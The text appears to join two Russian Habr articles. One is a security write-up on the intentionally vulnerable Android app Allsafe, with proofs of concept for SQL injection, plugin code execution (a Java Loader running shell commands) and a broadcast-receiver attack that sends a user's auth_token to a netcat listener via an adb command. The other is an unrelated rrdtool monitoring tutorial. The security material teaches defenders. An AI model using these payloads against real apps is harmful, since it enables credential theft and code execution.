Проверить мобильное приложение на уязвимости можно методом статического тестирования безопасности (Static Application Security Testing). SAST использует метод «белого ящика», то есть основывается на наличии исходного кода. Так приложение можно проанализировать без запуска и тестировать отдельные фрагменты кода на любом этапе развития проекта. В случае отсутствия доступа к исходному коду есть возможность осуществить тестирование динамически — DAST является методом «черного ящика» и позволяет проверить уже запущенное приложение.
Давайте разберем 3 самых интересных и наглядных случая из [Allsafe](https://github.com/t0thkr1s/allsafe). Благодаря открытому исходному коду есть возможность рассмотреть его уязвимости с точки зрения двух подходов: статического и динамического тестирования безопасности.
2. Уязвимость «Внедрение SQL-кода» (SQL Injection)
--------------------------------------------------
Атаки типа «Внедрение» (Injection) занимают третье место в рейтинге уязвимостей веб-приложений OWASP Top 10 2021. Если приложение работает с несколькими учетными записями пользователей на одном устройстве или в нем есть платный контент, инъекционные атаки, такие как SQL-инъекции, могут нанести ему серьезный ущерб.
Общий смысл уязвимости типа SQL Injection заключается в том, что написанный разработчиком SQL-запрос злоумышленник может видоизменить и выполнить непредусмотренную операцию.
2.1. Статический анализ
-----------------------
Разберем уязвимость по частям: в точке вхождения злоумышленник может ввести свои данные, а в точке выполнения происходит непосредственное обращение к базе данных с запросом, составленным на основе ввода.
Выясним, уязвимо ли приложение для внедрения. Для этого определим источники ввода и проверим, что для предоставляемых пользователем или приложением данных осуществляется достаточная валидация до соответствующей точки выполнения.
Теперь перейдём к конкретному примеру. Рассмотрим файл allsafe/app/src/main/java/infosecadventures/allsafe/challenges/SQLInjection.kt из уязвимого приложения Allsafe:
```
```
package infosecadventures.allsafe.challenges
import android.database.Cursor
import android.database.sqlite.SQLiteDatabase
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.Button
import android.widget.Toast
import androidx.fragment.app.Fragment
import com.google.android.material.textfield.TextInputEditText
import infosecadventures.allsafe.R
import java.math.BigInteger
import java.security.MessageDigest
class SQLInjection : Fragment() {
override fun onCreateView(inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle?): View {
val view: View = inflater.inflate(R.layout.fragment_sql_injection, container, false)
val db = populateDatabase()
val username: TextInputEditText = view.findViewById(R.id.username)
val password: TextInputEditText = view.findViewById(R.id.password)
val login: Button = view.findViewById(R.id.login)
login.setOnClickListener {
val cursor: Cursor = db.rawQuery("select * from user where username = '" + username.text.toString() + "' and password = '" + md5(password.text.toString()) + "'", null)
val data = StringBuilder()
if (cursor.count > 0) {
cursor.moveToFirst()
do {
val user = cursor.getString(1)
val pass = cursor.getString(2)
data.append("User: $user \nPass: $pass\n")
} while (cursor.moveToNext())
}
cursor.close()
Toast.makeText(context, data, Toast.LENGTH_LONG).show()
}
return view
}
private fun md5(input: String): String {
val md = MessageDigest.getInstance("MD5")
return BigInteger(1, md.digest(input.toByteArray())).toString(16).padStart(32, '0')
}
private fun populateDatabase(): SQLiteDatabase {
val db = requireActivity().openOrCreateDatabase("allsafe", android.content.Context.MODE_PRIVATE, null)
db.execSQL("drop table if exists user")
db.execSQL("create table user ( id integer primary key autoincrement, username text, password text )")
db.execSQL("insert into user ( username, password ) values ('admin', '21232f297a57a5a743894a0e4a801fc3')")
db.execSQL("insert into user ( username, password ) values ('elliot.alderson', '3484cef7f6ff172c2cd278d3b51f3e66')")
db.execSQL("insert into user ( username, password ) values ('angela.moss', '0af58729667eace3883a992ef2b8ce29')")
db.execSQL("insert into user ( username, password ) values ('gideon.goddard', '65dc3431f8c5e3f0e249c5b1c6e3534d')")
db.execSQL("insert into user ( username, password ) values ('tyrell.wellick', '6d2e1c6dd505a108cc7e19a46aa30a8a')")
db.execSQL("insert into user ( username, password ) values ('darlene.alderson', 'd510b80eb22f8eb684f1a19681eb7bcf')")
return db
}
```
```
В начале рассматриваемого файла создаем мини-базу данных `db` с помощью функции `populateDatabase()`.
Далее идёт более интересный для нас метод `findViewById()`, так как он принимает значения `username` и `password` от пользователя.
После получения всех необходимых данных с целью авторизации выполняем динамический SQL-запрос к базе данных с помощью метода `rawQuery()` и видим информацию о пользователе.
Для taint-анализа необходимы источники данных. Поскольку некоторые из них могут быть потенциально заражены, навешиваем на эти данные флаги и отслеживаем их распространение по всему приложению.
Поэтому, чтобы найти зараженные данные, сначала выделим все источники ввода:
```
```
val username: TextInputEditText = view.findViewById(R.id.username)
val password: TextInputEditText = view.findViewById(R.id.password)
```
```
После того как все источники ввода найдены, проверим, не ведут ли они к уязвимости. Для этого надо проследить трассу распространения каждой из переменных. Мы рассмотрим только переменную `username`. Буквально через пару строк мы видим ее использование:
```
val cursor: Cursor = db.rawQuery("select * from user where username = '" + username.text.toString() + "' and password = '" + md5(password.text.toString()) + "'", null)
```
Это точка выполнения динамического SQL-запроса с предоставленными пользователем данными.
В данном случае по пути от точки входа до точки выполнения не обнаружено проверки, запрещающей внедрение кода, значит, перед нами уязвимость SQL Injection.
2.2. PoC
--------
Для подтверждения текущей уязвимости в динамике достаточно на этапе авторизации ввести вместо логина следующий payload: `"' OR 1=1 --`.
1. Открыть SQLInjection Activity.
2. Ввести: `"' OR 1=1 --` в поле Username.
3. Нажать на Login.
Делаем вывод: если есть физический доступ к устройству, можно обойти проверку авторизации.
2.3. Рекомендации
-----------------
Существует несколько базовых рекомендаций по устранению данного типа уязвимостей (например, рекомендуем [материал](https://habr.com/ru/post/87872/), который обнаружили на просторах Хабра). Наиболее безопасный способ: предложить пользователю выбирать из ограниченного числа вариантов.
Если все же необходимо строить SQL-запросы на основе вводимых пользователем данных, то основным методом защиты будет создание белого или черного списка символов.
Как дополнительная защита работает escape-функция, экранирующая все специальные символы и слова.
Поиск уязвимостей вручную занимает много времени, и всегда в таких случаях сохраняется вероятность, что часть из них будет пропущена. Поэтому наиболее эффективный способ — использовать средства автоматического анализа кода на уязвимости, а затем проверять вручную результаты их работы.
Например, весь вышеописанный процесс поиска уязвимостей воспроизводит статический анализатор, а именно taint-анализ.
В общих чертах процесс поиска SQL-инъекции методами статического анализа можно описать так: анализатор находит все поля, вводимые пользователем, и помечает их маркером Tainted. Эта метка автоматически растекается по коду, помечая собой всё, до чего может дотянуться. Мешать метке распространяться могут защитные ворота вроде правильной валидации данных: проходящие валидацию поля очищаются от метки Tainted.
После того как этот маркер распространился максимально далеко, программа-анализатор смотрит на место в коде, где происходит обращение к базе данных с помощью SQL-запроса. Если данное обращение помечено маркером Tainted, то программа сообщает о наличии уязвимости. Подробнее о статических анализаторах мы рассказывали в этой [статье](https://habr.com/ru/company/solarsecurity/blog/439286/).
3. Уязвимость «Выполнение произвольного кода» (Arbitrary Code Execution)
------------------------------------------------------------------------
В приложения на Android можно интегрировать дополнительные функциональные возможности с помощью внешних модулей. Это могут быть как собственные библиотеки, так и приложения сторонних производителей. Разработчики часто используют подобные интеграции для добавления фильтров камеры, наборов шрифтов, тем.
Такие модули исполняются в контексте основного приложения (с теми же правами), делая его уязвимым к «выполнению произвольного кода» (Arbitrary code execution). Этот тип атак реализуется через эксплуатацию уязвимостей «Нарушение целостности данных и программного обеспечения» (Software and Data Integrity Failures), которая занимает восьмую позицию в рейтинге уязвимостей web-приложений OWASP Top 10 2021. Согласно данным Oversecured, как минимум 1 из 50 популярных приложений имеет данную уязвимость ([ссылка на исследование](https://blog.oversecured.com/Android-arbitrary-code-execution-via-third-party-package-contexts); доступ к ресурсу заблокирован для пользователей из России).
После подключения модуля основное приложение ищет его среди всех приложений, установленных на данном устройстве, используя значения из файлов манифеста AndroidManifest.xml каждого приложения. В случае слабой верификации приложение злоумышленника может быть принято за легитимное. После загрузки модуля его код исполняется в контексте основного приложения, что ведет к выполнению произвольного кода. В результате злоумышленник может похитить любую конфиденциальную информацию из пользовательского ввода или полученную с сервера, а также подменить эту информацию или получить возможность отслеживать пользователя.
Чтобы предотвратить возникновение данной уязвимости, требуется проверить код на вхождения методов, обращающихся к загрузке сторонних библиотек. Если их использование необходимо, хорошей практикой является проверка целостности подобных библиотек. Отсутствие проверки входит в перечень общих слабостей CWE-494: «Загрузка кода без проверки целостности».
Рассмотрим фрагмент кода приложения. Здесь с помощью метода `getInstalledPackages()` сканируется информация об установленных приложениях, и при совпадении префикса имени `packageName` с заданным (`"com.victim.module."`) запускается `processModule()`:
```
public static void searchModules(Context context)
{
for (PackageInfo info :
context.getPackageManager().getInstalledPackages(0)) {
String packageName = info . packageName;
if (packageName.startsWith("com.victim.module.")) {
processModule(context, packageName);
}
//...
}
```
В функции `processModule()` непосредственно происходит загрузка классов данного стороннего приложения с помощью метода `loadClass()` с последующим выполнением его кода:
```
public static void processModule(Context context, String packageName)
{
Context appContext = context . createPackageContext (packageName, CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY);
ClassLoader classLoader = appContext . getClassLoader ();
try {
Object interface = classLoader.loadClass("com.victim.MainInterface").getMethod("getInterface").invoke(null);
//...
}
}
```
Получается, уязвимое приложение переходит к загрузке класса любого приложения, префикс имени которого совпадает с заданным. Злоумышленник может создать приложение с подходящим именем пакета (с заданным префиксом), содержащее требуемый класс `com.victim.MainInterface` и метод `getInterface()`. Это приведет к выполнению кода нелегитимного приложения в контексте основного.
3.1. Статический анализ
-----------------------
Эта уязвимость наглядно представлена в приложении Allsafe. Рассмотрим следующий фрагмент исходного кода:
```
private fun invokePlugins() {
for (packageInfo in packageManager.getInstalledPackages(0)) {
val packageName: String = packageInfo.packageName
if (packageName.startsWith("infosecadventures.allsafe")) {
try {
val packageContext = createPackageContext(packageName,
CONTEXT_INCLUDE_CODE or CONTEXT_IGNORE_SECURITY)
packageContext.classLoader
.loadClass("infosecadventures.allsafe.plugin.Loader")
.getMethod("loadPlugin")
.invoke(null)
} catch (ignored: Exception) {
}
}
}
}
```
Функция `invokePlugins()` производит сравнение префикса названия модуля с константой `"infosecadventures.allsafe"`, а затем пытается загрузить из приложений с таким же префиксом метод `loadPlugin()` класса `infosecadventures.allsafe.plugin.Loader`.
Для атаки злоумышленнику требуется создать приложение с требуемым префиксом в названии, а затем создать в нем класс и метод с соответствующими названиями. Отсутствие дополнительных проверок позволяет подменить загружаемый модуль.
Поиск описанной уязвимости не слишком сложен при проведении статического анализа: имея исходный код приложения, необходимо найти вызовы методов, обращающихся к загрузке сторонних библиотек, и проверить наличие валидации их подписей. С этой задачей можно быстро справиться при помощи статических анализаторов безопасности приложений.
3.2 PoC
-------
Для подтверждения уязвимости в динамике понадобится убедить пользователя установить на устройство приложение с названием infosecadventures.allsafe.plugin, тогда из контекста infosecadventures.allsafe появится возможность выполнять произвольный код.
1. Создать приложение с названием infosecadventures.allsafe.plugin.
2. Создать класс `Loader` и определить в нём метод `loadPlugin()`.
```
```
package infosecadventures.allsafe.plugin;
import android.util.Log;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Loader {
private static String getShellOutput(String cmd) {
StringBuilder result = new StringBuilder();
try {
Process process = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
BufferedReader buffer = new BufferedReader(
new InputStreamReader(process.getInputStream())
);
String line;
while ((line = buffer.readLine()) != null) {
result.append(line);
}
} catch (Exception e) {
}
return result.toString();
}
public static Object loadPlugin() {
Log.i("poc", getShellOutput("id"));
return null;
}
}
```
```
3. Установить приложение infosecadventures.allsafe.plugin на устройство пользователя.
| |
| --- |
| [PoC.apk](https://github.com/rt-solarsecurity/arbitrary_code_exec_poc/blob/main/app-debug.apk) |
В качестве подтверждения концепции при вызове метода `loadPlugin()` происходит выполнение shell-команды: `sh -c id`. В логи записывается значение UID приложения, в контексте которого был вызван метод: `Log.i("poc", getShellOutput("id"))`;
При установке мобильного приложения Android присваивает ему уникальный UID. Чтобы найти UID для приложения, необходимо выполнить следующую команду: `adb shell dumpsys package your-package-name | grep userId=`.
Значения UID для приложения infosecadventures.allsafe `userId=10086`, а для приложения infosecadventures.allsafe.plugin `userId=10090`.
При запуске уязвимого приложения infosecadventures.allsafe будет выполнен код из стороннего приложения infosecadventures.allsafe.plugin, что подтверждается информацией в логах: `adb logcat | grep poc`*.*
Вывод совпадает с UID уязвимого приложения infosecadventures.allsafe, в контексте которого был вызван сторонний метод.
3.3. Рекомендации
-----------------
Для защиты от уязвимости нужно осуществить проверку не только префикса имени, но и подписи интегрируемого стороннего приложения:
```
if(packageName.startsWith("com.victim.module.") && packageManager.checkSignatures(packageName, context.getPackageName()) == PackageManager.SIGNATURE_MATCH)
```
Если подделать название модуля, класса и метода не составляет сложности, то сертификат подделать не удастся. Злоумышленник не сможет подписать свое приложение тем же сертификатом, поэтому проверка подписи предотвратит загрузку нелегитимного модуля.
4. Уязвимость «Небезопасный широковещательный приемник» (Insecure Broadcast Receiver)
-------------------------------------------------------------------------------------
Уязвимость Insecure Broadcast Receiver относится к типу Broken Access Control, занимающему первое место в рейтинге уязвимостей веб-приложений OWASP Top 10 2021.
Broadcast Receivers — это компоненты Android, которые отслеживают широковещательные сообщения (broadcast messages) и события (events), сгенерированные сторонними программами. При их неправильной реализации установленные на устройстве вредоносные приложения могут нарушить работу текущего приложения — заставить выполнить вредоносную операцию.
Чтобы найти и исправить уязвимость, обычно достаточно рассмотреть файл AndroidManifest.xml. Это обязательный файл для каждого приложения Android, он описывает некоторые глобальные значения приложения и все его компоненты. В частности — то, как могут быть приведены в действие Activity, и какие данные они будут обрабатывать. За запуск различных Activity отвечают приёмники (receivers), которые сконфигурированы в файле AndroidManifest.xml.
Давайте рассмотрим в качестве примера объявление broadcast receiver в соответствующем файле из известного нам приложения Allsafe:
```
```
```
```
Это объявление приёмника с явно заданным параметром `exported`, равным `true`. Это означает, что данный receiver может принимать сообщения от сторонних программ, в том числе и злонамеренных. При этом у него нет никакой защиты, которая содержала бы список программ, от которых допустимо принимать информацию.
Важно понимать, что значение по умолчанию для тега `android:exported` — `false`, то есть все Activity в AndroidManifest.xml, не имеющие этого тега, доступны только внутри приложения, и это безопасно. Если Activity содержит какой-либо intent-filter, то значением по умолчанию для этого тега будет `true`, что делает Activity общедоступной.
Класс NoteReceiver получает `intent` и извлекает из него String-объекты с именами `server`, `note` и `notification_message`. Это те самые значения, которыми может манипулировать злоумышленник:
```
```
public class NoteReceiver extends BroadcastReceiver {
@RequiresApi(api = Build.VERSION_CODES.O)
@Override
public void onReceive(Context context, Intent intent) {
String server = intent.getStringExtra("server");
String note = intent.getStringExtra("note");
String notification_message = intent.getStringExtra("notification_message");
…
}
}
```
4.2. PoC
--------
Динамически подтвердить данную уязвимость и получить по итогу конфиденциальную информацию пользователя (в данном случае `auth_token`) возможно в версиях Android ниже 9.0, т. к. в последующих версиях http-коммуникация отключена (по умолчанию используется https).
Если у вас есть желание воспроизвести текущую уязвимость в версиях Android 9.0 и выше, вам необходимо переконфигурировать текущее приложение так, как описано в этой [статье](https://nphau.medium.com/android-8-cleartext-http-traffic-not-permitted-73c1c9e3b803).
1. Для начала запускаем у себя процесс Netcat для прослушивания порта 80, то есть мы находимся в ожидании запроса на 192.168.0.104: `nc -l 80`
2. Отправляем `broadcast` для `infosecadventures.allsafe.action.PROCESS_NOTE` с установленными значениями `server`, `note` и `notification_message`:
```
adb shell am broadcast -a infosecadventures.allsafe.action.PROCESS_NOTE -e server 192.168.0.104 -e note ThosIsPoc -e notification_message ThisIsPoc infosecadventures.allsafe
```
3. Будет зафиксирован GET-запрос:
Таким образом, с помощью стороннего broadcast-сообщения мы зафиксировали конфиденциальный `auth_token` пользователя приложения.
4.3. Рекомендации
-----------------
Устранить данную уязвимость можно одним из двух способов: для уязвимой Activity в AndroidManifest.xml явно указать тег `android:exported` равным `false`. В случае, когда значение `false` недопустимо, можно добавить `permission` c `protectionLevel="signature"`. Receiver с таким уровнем защиты будет принимать сообщения только от приложений, подписанных (signed) тем же ключом.
Безопасная версия этого участка кода должна выглядеть примерно так:
```
```
```
```
После исправления для корректной работы приложения в начале AndroidManifest.xml (там, где объявляются permissions) следует добавить:
```
```
```
```
Чтобы иметь меньше шансов совершить подобную ошибку или проще её найти, имеет смысл всегда явно указывать значение атрибута `exported`.
5. Итог
-------
Каждый из подходов к поиску уязвимостей имеет свои преимущества. Статический — не требует сборки и запуска, а значит и дополнительных временных и системных ресурсов. Динамический и бинарный анализ можно использовать, если нет доступа к исходному коду. При этом бинарный анализ осуществляет полное покрытие кода, а динамический анализ не имеет ложных срабатываний.
Из этого следует вывод: анализ максимально эффективен и захватывает максимум уязвимостей при использовании различных методов.
Вы наверняка уже слышали: если проводить регулярный анализ в процессе разработки, можно быстрее и проще устранить возникшие уязвимости и НДВ. Это правда – ровно, как и то, что для их поиска требуется обширная и своевременно пополняемая база знаний и соответствующая квалификация разработчика в сфере информационной безопасности.
Повышение безопасности приложения требует времени, а как известно, чего нет у разработчика, так это времени. Проблему временных затрат на анализ можно решить с помощью автоматизации процесса.
Наша команда работает над развитием сканера уязвимостей, который осуществляет статический анализ как с наличием исходного кода, так и без него. В этом случае файл может быть исполняемым, а анализ является бинарным.
При использовании такого инструмента безопасность мобильного приложения может быть проанализирована автоматически на каждом этапе разработки. Это ускоряет поиск уязвимостей и их устранение за счет подробных описаний уязвимостей и точных рекомендаций.
Если у вас есть вопросы по поиску и устранению уязвимостей или выстраиванию процесса безопасной разработки – оставляйте их в комментариях, мы обязательно ответим 😊
***Авторы: команда Центра разработки решений по контролю безопасности ПО «РТК-Солар» — Марина Димаксян****, аналитик ИБ,* ***Борис Кондратенков****, аналитик-разработчик,* ***Татьяна Куцовол****, технический лидер* | https://habr.com/ru/post/688064/ | null | ru | null |
# Мониторинг прогнозированием с помощью rrdtool, как это делается
#### Введение
Недавно я описывал созданную мной систему [мониторинга транзитного VoIP методом прогнозирования](http://habrahabr.ru/blogs/voip/132400/). Самым сильным плюсом данного метода в задаче мониторинга транзитного VoIP является то, что нет необходимости выставлять критерии того, что считать нормальной работой величин, находящихся под мониторингом, а что – потенциальным сбоем.
Ядром системы является [rrdtool](http://oss.oetiker.ch/rrdtool/), в котором реализованы прогнозирование методом Хольта-Винтерса и механизм выявления [аберраций](http://ru.wikipedia.org/wiki/%D0%90%D0%B1%D0%B5%D1%80%D1%80%D0%B0%D1%86%D0%B8%D1%8F).
Мониторинг методом прогнозирования можно использовать не только для VoIP, но и для любого другого типа трафика, а так же, для величин, которые изменяются во времени с некой прогнозируемой цикличностью. В отличие от стандартных методов, при мониторинге с помощью прогнозирования не осуществляет мониторинг состояния величин, находящихся под мониторингом, зато осуществляется мониторинг динамики изменения их состояний во времени.
Если вам интересна математика прогнозирования рекомендую [прочесть](http://www.usenix.org/events/lisa00/full_papers/brutlag/brutlag_html/). Чтобы быть хоть немного в курсе темы, прочтите главу “Метод прогнозирования реализованный в rrdtool” моего [предыдущего поста](http://habrahabr.ru/blogs/voip/132400/).
#### Задача
Как я писал в предыдущем посте, прежде чем реализовать мониторинг транзитного VoIP методом прогнозирования, было решено проверить концепцию на сервере доступа Cisco AS5400, причем проверять на IP трафике, количестве активных звонков и загрузке его процессора. Как это было сделано я и опишу.
Данные, в данном случае, проще всего получать по SNMP. Таким образом, для тестирования необходимо снимать данные по двум счетчикам – количества октетов IN/OUT прошедших через FastEthernet интерфейс, и двум (в терминах SNMP и rrdtool) GAUGE значениям – по загрузке процессора и количеству активных звонков, точнее, количеству занятых тайм слотов на потоках E1.
Для проверки количества активных звонков используется вот этот [OID](http://tools.cisco.com/Support/SNMP/do/BrowseOID.do?objectInput=1.3.6.1.4.1.9.10.19.1.1.4&translate=Translate&submitValue=SUBMIT&submitClicked=true)
.1.3.6.1.4.1.9.10.19.1.1.4.0
Загрузка процессора проверяется чтением этого [OID](http://tools.cisco.com/Support/SNMP/do/BrowseOID.do?objectInput=1.3.6.1.4.1.9.2.1.58&translate=Translate&submitValue=SUBMIT&submitClicked=true)–а
.1.3.6.1.4.1.9.2.1.58.0
Счетчик исходящих октетов, прошедших через интерфейс доступен по [OID](http://tools.cisco.com/Support/SNMP/do/BrowseOID.do?objectInput=ifOutOctets&translate=Translate&submitValue=SUBMIT&submitClicked=true)–у
.1.3.6.1.2.1.2.2.1.16.1 если проверяется интерфейс с индексом 1.
Счетчик входящий октетов, пришедших на интерфейс доступен по [OID](http://tools.cisco.com/Support/SNMP/do/BrowseOID.do?local=en&translate=Translate&objectInput=1.3.6.1.2.1.2.2.1.10#oidContent) –у
.1.3.6.1.2.1.2.2.1.10.1 если проверяется интерфейс с индексом 1.
#### Решение
Решение разбивается на несколько задач. Сначала корректно формируются базы данных rrdtool, потом пишется скрипт для заполнения баз данных значениям, далее скрипт для отображения данных на графике.
##### Создание баз данных rrd
Создаем два скрипта для формирования баз данных rrd
**counter.sh**
```
#!/usr/local/bin/bash
rrdtool create --step 300 $1.rrd \
DS:val:COUNTER:600:0:U \
RRA:AVERAGE:0.5:1:8064 \
RRA:HWPREDICT:8064:0.1:0.0035:288 \
RRA:FAILURES:8064:2:3:4
```
**gauge.sh**
```
#!/usr/local/bin/bash
rrdtool create --step 300 $1.rrd \
DS:val:GAUGE:600:0:U \
RRA:AVERAGE:0.5:1:8064 \
RRA:HWPREDICT:8064:0.1:0.0035:288 \
RRA:FAILURES:8064:2:3:4
```
Отличие заключается только в типе значения val.
Разберемся, что создастся при запуске скрипта.
**1)** RRA:AVERAGE:0.5:1:8064 — база данных, которая будет содержать 8064 значения измерений при частоте измерений раз в 5 минут. При частоте измерений раз в 5 минут, за день получается 288 измерений, всего в базе данных может храниться информация за 8064 / 288 = 28 дней.
**2)** RRA:HWPREDICT:8064:0.1:0.0035:288 – база данных будет хранить 8064 прогнозов, то есть столько же сколько определено значений измерений. Заданы коэффициенты alpha = 0.1, beta = 0.0035. Это коэффициенты, которые влияют на точность прогноза. Такие параметры оптимальны, если вы видите изо дня в день примерно одинаковую картину на графике. Более того, такие коэффициенты рекомендованы на сайте rrdtool. Коэффициенты можно менять, чтобы добиться более точных прогнозов, но это тема отдельной статьи. 288 – количество измерений за сезон, таким образом, сезон равен суткам.
**3)** RRA:FAILURES:8064:2:3:4. – база данных будет хранить информацию по вычисленным аберрациям за 28 дней (по умолчанию хранится только за последний сезон — сутки). Аберрации будут вычисляться с длиной плавающего окна равной 3 и количеством непопаданий в окно равному 2. Последний параметр – 4 это индекс DEVSEASONAL, этот индекс можно посмотреть командой rrdtool info.
Если возникли вопросы по созданию баз данных, посмотрите [тут](http://oss.oetiker.ch/rrdtool/doc/rrdcreate.en.html)
Теперь создадим скриптами нужные базы данных
**./counter.sh in\_traf
./counter.sh out\_traf
./gauge.sh cpu
./gauge.sh calls**
##### Скрипт для заполнения баз данных значениями
Собственно, скрипт прост
**rrdupdater.sh**
```
#!/usr/local/bin/bash
rrdtool="/usr/local/bin/rrdtool update "
# snmpget -OQEav option will make value to be "clean" no quotes, oid name, etc…
snmpget="/usr/local/bin/snmpget -OQEav -v2c -c SuperSecret "
rrdpath="/usr/rrdmonit/rrd/"
${rrdtool} ${rrdpath}in_traf.rrd N:`${snmpget} 192.168.50.31 .1.3.6.1.2.1.2.2.1.10.1`
${rrdtool} ${rrdpath}out_traf.rrd N:`${snmpget} 192.168.50.31 .1.3.6.1.2.1.2.2.1.16.1`
${rrdtool} ${rrdpath}cpu.rrd N:`${snmpget} 192.168.50.31 .1.3.6.1.4.1.9.2.1.58.0`
${rrdtool} ${rrdpath}calls.rrd N:`${snmpget} 192.168.50.31 .1.3.6.1.4.1.9.10.19.1.1.4.0`
```
Ну и конечно, в crontab его
**\*/5 \* \* \* \* /usr/rrdmonit/rrdupdater.sh**
##### Отображение графиков
rrdtool – мощное средство для построения графиков. Графики можно сделать весьма информативными.
К примеру, в системе мониторинга VoIP трафика у нас они такие:
Синяя линия это реальные значения измерений количества минут, которые прошли на партнёра за 15 минутный интервал времени. Серая площадь – реальные значения, которые были ровно сутки назад. Розовая линия — прогноз. Красная и зелёные линии показывают верхнюю и нижнюю границу коридора допустимых значений. Черная линия в области отрицательных значений – прогноз допустимых отклонений от спрогнозированных значений (deviation). Золотым цветом показана аберрация. Когда появилась аберрация, система выдала оповещение (по e-mail) о потенциальном сбое. Очевидно, что в данном случае, наличие сбоя у поставщика трафика весьма вероятно.
Обратите внимание на значение Total для измеряемой величины. Оно, с погрешность в 1-2 процента равно значению, взятому из биллинга для данного поставщика. Для системы мониторинга это может считаться высокой точностью.
Необходимо отметить, что есть два различных подхода при построении графиков измеряемых величин. Первый подход реализован в классическом MRTG – графики (рисунки) строятся сразу после заполнения новым значением базы данных rrdtool. Второй подход реализован в cacti – графики строятся по запросу пользователя. В нашей системе мониторинга VoIP используется второй подход. Однако для проверки концепции можно использовать первый подход, он гораздо проще. Рисунки будут генерироваться сразу после заполнения базы данных.
Собственно скрипт:
```
#!/usr/bin/env python
import os
import time
import rrdtool
# Define params
rrdpath = '/usr/rrdmonit/rrd/'
pngpath = '/usr/local/share/cacti/rrdmonit/'
width = '500'
height = '200'
# Generate charts for last 48 hours
enddate = int(time.mktime(time.localtime()))
begdate = enddate - 172800
def gen_image(rrdpath, pngpath, fname, width, height, begdate, enddate):
"""
Generates png file from rrd database:
rrdpath - the path where rrd is located
pngpath - the path png file should be created in
fname - rrd file name, png file will have the same name .png extention
width - chart area width
height - chart area height
begdate - unixtime
enddate - unixtime
"""
# 24 hours before current time, will show on chart using SHIFT option
ldaybeg = str(begdate - 86400)
ldayend = str(enddate - 86400)
# Will show some additional info on chart
endd_str = time.strftime("%d/%m/%Y %H:%M:%S",(time.localtime(int(enddate)))).replace(':','\:')
begd_str = time.strftime("%d/%m/%Y %H:%M:%S",(time.localtime(int(begdate)))).replace(':','\:')
title = 'Chart for: '+fname.split('.')[0]
# Files names
pngfname = pngpath+fname.split('.')[0]+'.png'
rrdfname = rrdpath+fname
# Get iformation from rrd file
info = rrdtool.info(rrdfname)
rrdtype = info['ds[val].type']
# Will use multip variable for calculation of totals,
# should be usefull for internet traffic accounting,
# or call/minutes count from CDR's.
# Do not need logic for DERIVE and ABSOLUTE
if rrdtype == 'COUNTER':
multip = str(int(enddate) - int(begdate))
else:
# if value type is GAUGE should divide time to step value
rrdstep = info['step']
multip = str(round((int(enddate) - int(begdate))/int(rrdstep)))
# Make png image
rrdtool.graph(pngfname,
'--width',width,'--height',height,
'--start',str(begdate),'--end',str(enddate),'--title='+title,
'--lower-limit','0',
'--slope-mode',
'COMMENT:From\:'+begd_str+' To\:'+endd_str+'\\c',
'DEF:value='+rrdfname+':val:AVERAGE',
'DEF:pred='+rrdfname+':val:HWPREDICT',
'DEF:dev='+rrdfname+':val:DEVPREDICT',
'DEF:fail='+rrdfname+':val:FAILURES',
'DEF:yvalue='+rrdfname+':val:AVERAGE:start='+ldaybeg+':end='+ldayend,
'SHIFT:yvalue:86400',
'CDEF:upper=pred,dev,2,*,+',
'CDEF:lower=pred,dev,2,*,-',
'CDEF:ndev=dev,-1,*',
'CDEF:tot=value,'+multip+',*',
'CDEF:ytot=yvalue,'+multip+',*',
'TICK:fail#FDD017:1.0:"Failures"\\n',
'AREA:yvalue#C0C0C0:"Yesterday\:"',
'GPRINT:ytot:AVERAGE:"Total\:%8.0lf"',
'GPRINT:yvalue:MAX:"Max\:%8.0lf"',
'GPRINT:yvalue:AVERAGE:"Average\:%8.0lf" \\n',
'LINE3:value#0000ff:"Value \:"',
'GPRINT:tot:AVERAGE:"Total\:%8.0lf"',
'GPRINT:value:MAX:"Max\:%8.0lf"',
'GPRINT:value:AVERAGE:"Average\:%8.0lf" \\n',
'LINE1:upper#ff0000:"Upper Bound "',
'LINE1:pred#ff00FF:"Forecast "',
'LINE1:ndev#000000:"Deviation "',
'LINE1:lower#00FF00:"Lower Bound "')
# List files and generate charts
for fname in os.listdir(rrdpath):
gen_image(rrdpath, pngpath, fname, width, height, begdate, enddate)
```
Запускать выполнение скрипта надо сразу же после заполнения значений в rrdtool, поэтому строку для его запуска необходимо добавить в конец скрипта /usr/rrdmonit/rrdupdater.sh.
Дело осталось за малым – вывесить сгенерированные рисунки куда-то на web. Например, таким скриптом на PHP.
```
php
$dir = './rrdmonit/';
$dirHandle = opendir($dir);
while ($file = readdir($dirHandle)) {
if(!is_dir($file) && strpos($file, '.png')0) {
print "![](.$dir".$file.")\n";
}
}
closedir($dirHandle);
?>
```
Помнится, когда я первый раз настраивал такой мониторинг, потратил много времени, чтобы понять, что я делаю не так. Дело в том, что как я не настраивал прогнозирование, как ни пытался различными способами формировать рисунок графика, линия прогноза упорно не появлялась. Убив на курение мануалов несколько часов, я плюнул, чтобы вернуться к этому на следующий день. На следующий день – о чудо, прогноз появился сам собой. Все оказалось тривиально, прогноз не делался потому, что не прошел первый сезон прогнозирования (сутки после начала заполнения базы данных).
Как я писал раньше, наряду с прогнозированием значений измеряемой величины прогнозируется и коридор разброса возможных значений – diviation. Diviation можно прогнозировать только тогда, когда у вас есть значения для двух сезонов.
Поэтому, предварительный результат вы получите только с начала третьих суток.
На графике – первые три дня с момента начала измерений. Как видно прогноз кривой. Но посмотрите, что будет дальше.
Прогноз все более точен. Через неделю у вас будет полностью функциональный мониторинг интересующих величин.
Величины на представленных графиках ведут себя в течении суток по законам, похожим на синусоиды. Не хотелось бы, чтобы у вас возникло ощущение, что метод работает только для таких величин. К примеру величины ASR и ACD в транзитном VoIP ведут себя несколько иначе, не смотря на это метод работает прекрасно и для них. Взгляните на рисунок
#### Заключение
Система мониторинга делается не только для того, чтобы администратор пялился на рисунки, она должна давать оповещение (по меньшей мере по почте), когда обнаруживается аберрация. Об этом – в следующем посте. | https://habr.com/ru/post/134599/ | null | ru | null |
# Внедрение зависимостей в CDI. Часть 3
